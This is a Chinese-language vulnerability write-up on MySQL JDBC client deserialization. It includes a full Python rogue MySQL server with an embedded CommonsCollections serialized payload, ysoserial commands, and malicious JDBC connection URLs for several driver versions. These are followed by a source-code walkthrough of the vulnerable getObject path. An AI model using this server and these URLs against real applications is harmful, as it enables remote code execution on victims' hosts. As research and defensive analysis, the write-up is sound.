MySQL JDBC反序列化漏洞

0x00 前言

HW期间遇到这个洞，研究研究。

参考：

• 小白看得懂的MySQL JDBC 反序列化漏洞分析
• MySQL JDBC 客户端反序列化漏洞分析
• MySQL JDBC 客户端反序列化漏洞

0x01 MySQL JDBC反序列化漏洞

JDBC简介

JDBC（Java DataBase Connectivity）即Java数据库连接，是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口，提供了诸如查询和更新数据库中数据的方法。

一般格式：

jdbc://driver://host:port/database?配置name1=配置Value1&配置name2=配置Value2

漏洞原理

如果攻击者能够控制JDBC连接设置项，那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。

具体点说，就是通过JDBC连接MySQL服务端时，会有几个内置的SQL查询语句要执行，其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集，并且攻击者可以控制JDBC连接设置项，那么就能触发MySQL JDBC客户端反序列化漏洞。

可被利用的两条查询语句：

• SHOW SESSION STATUS
• SHOW COLLATION

漏洞复现

恶意MySQL服务器搭建可参考：

• https://github.com/fnmsd/MySQL_Fake_Server
• https://github.com/rmb122/rogue_mysql_server

这里采用的是另一个脚本，使用Python3运行即可，只用Python自带的库：

# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3306

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

Demo代码，假设JDBC连接地址可控，并在环境中添加mysql-connector-java-8.0.13和commons-collections-3.2.1依赖：

import java.sql.*;


public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://x.x.x.x:3306/test?" +
                "autoDeserialize=true" +
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
    }
}

此时JDBC连接设置为：

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

参数说明：

• queryInterceptors：一个逗号分割的Class列表（实现了com.mysql.cj.interceptors.QueryInterceptor接口的类），在Query”之间”进行执行来影响结果。（效果上来看是在Query执行前后各插入一次操作）；
• autoDeserialize：自动检测与反序列化存在BLOB字段中的对象；

先使用ysoserial生成CC7的payload，然后运行恶意MySQL服务器进行监听：

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload
python3 evil_mysql.py

运行成功触发：

看到恶意MySQL服务是有具体的接受发送报文信息的：

各种payload小结

ServerStatusDiffInterceptor触发点

8.x

如上述Demo：

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

6.x

属性名不同，queryInterceptors换为statementInterceptors：

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

包名中没有cj：

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同上，但需要连接后执行查询。

detectCustomCollations触发点

5.1.29 - 5.1.40

jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

漏洞分析

这里仅分析ServerStatusDiffInterceptor触发点的漏洞场景。

在前面的代码调试分析发现，在调用com.mysql.cj.jdbc中相关函数来连接恶意MySQL服务器时，会调用到com.mysql.cj.jdbc.result.ResultSetImpl.getObject()函数，而其中会调用readObject()函数执行反序列化操作，说明看注释：

@Override
public Object getObject(int columnIndex) throws SQLException {
    checkRowPos();
    checkColumnBounds(columnIndex);

    int columnIndexMinusOne = columnIndex - 1;

    // we can't completely rely on code below because primitives have default values for null (e.g. int->0)
    if (this.thisRow.getNull(columnIndexMinusOne)) {
        return null;
    }

    Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
    switch (field.getMysqlType()) {
        ...

        case BINARY:
        case VARBINARY:
        case TINYBLOB:
        case MEDIUMBLOB:
        case LONGBLOB:
        case BLOB:
            // 判断是否为Binary或Blob格式数据
            if (field.isBinary() || field.isBlob()) {
                byte[] data = getBytes(columnIndex);

                // 判断autoDeserialize属性值是否为true，是的话才能进入反序列化操作的代码逻辑
                // 这就是为啥设置JDBC连接时需要带上autoDeserialize=true的原因
                if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                    Object obj = data;

                    // -84和-19为序列化对象的前两个字节，即AC和ED
                    if ((data != null) && (data.length >= 2)) {
                        if ((data[0] == -84) && (data[1] == -19)) {
                            // Serialized object?
                            try {
                                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                obj = objIn.readObject();
                                objIn.close();
                                bytesIn.close();
                            } catch (ClassNotFoundException cnfe) {
                                throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                                        + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
                            } catch (IOException ex) {
                                obj = data; // not serialized?
                            }
                        } else {
                            return getString(columnIndex);
                        }
                    }

                    return obj;
                }

                return data;
            }

            return getBytes(columnIndex);

        ...
    }
}

下面调试看下怎么调用到com.mysql.cj.jdbc.result.ResultSetImpl.getObject()函数的，只看关键点。

一开始是com.mysql.jdbc.Driver进行JDBC中的连接，其中会新建连接实例：

连接后，接着设置对应的查询拦截器，对应的值就是我们在JDBC中设置的ServerStatusDiffInterceptor：

往下，程序从MySQL服务端来初始化Properties并执行相关的SQL语句，其中判断如果查询拦截器不为空则调用查询拦截器的preProcess()函数：

跟进看到，会运行查询语句SHOW SESSION STATUS，然后调用ResultSetUtil.resultSetToMap()函数，该函数中就调用了触发反序列化漏洞的getObject()函数（注意columnIndex为2处才能走到反序列化的代码逻辑，因为为1则直接返回null）：

在调用getObject()函数中，判断MySQL的类型为BLOB后，就从MySQL服务端中获取对应的字节码数据：

从MySQL服务端获取到字节码数据后，判断autoDeserialize是否为true、字节码数据是否为序列化对象等，最后调用readObject()触发反序列化漏洞：

也就是说，当MySQL字段类型为BLOB时，会对数据进行反序列化操作，因此只要保证第1或第2字段为BLOB类型且存储了恶意序列化数据即可触发反序列化漏洞。

此时函数调用栈如下：

getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:10, Test

小结

MySQL JDBC客户端在开始连接MySQL服务端时，会执行一些如set autocommit=1等SQL Query，其中会触发我们所配置的queryInterceptors中的preProcess()函数，在该函数逻辑中、当MySQL字段类型为BLOB时，会对数据进行反序列化操作，因此只要保证第1或第2字段为BLOB类型且存储了恶意序列化数据即可触发反序列化漏洞。